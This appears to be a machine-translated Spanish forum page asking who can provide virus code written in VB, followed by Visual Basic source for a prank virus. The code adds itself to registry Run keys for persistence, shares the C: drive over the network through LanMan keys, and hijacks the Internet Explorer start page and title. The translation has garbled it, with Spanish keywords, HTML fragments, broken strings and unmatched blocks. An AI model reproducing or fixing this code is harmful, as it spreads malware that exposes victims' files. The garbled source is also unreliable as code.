¿Puede VB escribir programas antivirus? ¿Quién puede proporcionar un código de virus escrito en VB?

Sub privado Form_Load()

En caso de error, reanudar siguiente

Si App.PrevInstance entonces

Fin

End If

MsgBox "A mi amigo se le ocurrió este programa mientras se desenamoraba en línea. Tal vez sea el único que puede expresar mi comprensión de su estado de ánimo actual..." amp ; vbCrLf amp; vbCrLf amp; "Si quieres ser mi amigo, puedes agregarme en QQ: 545704252!", vbApplicationModal, "True Love No Fault V1.0"

Dim Mypath

Mypath = Aplicación. Ruta amp; "\" amp; App.EXEName amp ".exe"

Dim Writg

Dim Wsh_shell

Establecer Wsh_shell = Nueva IWshShell_Class

Writereg = Wsh_shell. RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemm", Mypath, "REG_SZ")

Writereg = Wsh_shell. RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Systemmm", "500)this.width=500" align=absMiddle border=0 gt; "REG_SZ")

Writereg = Wsh_shell. RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C$Flags", "302", "REG_DWORD")

Writereg = Wsh_shell. RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\ LanMan\C$Type", "0", "REG_DWORD")

Writereg = Wsh_shell.

RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion Network\Network\LanMan\C$Path", "C:\")

Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Principal\Página de inicio", "500)this.width=500" align=absMiddle border=0gt;")

Writereg = Wsh_shell.RegWrite("HKEY_CURRENT_USERSoftware\Microsoft Internet Explorer\Main\Título de la ventana ", "Dirección del BLOG:/'lt;/scriptgt;"

Cerrar #1

Siguiente

Finalizar si

Fin del sub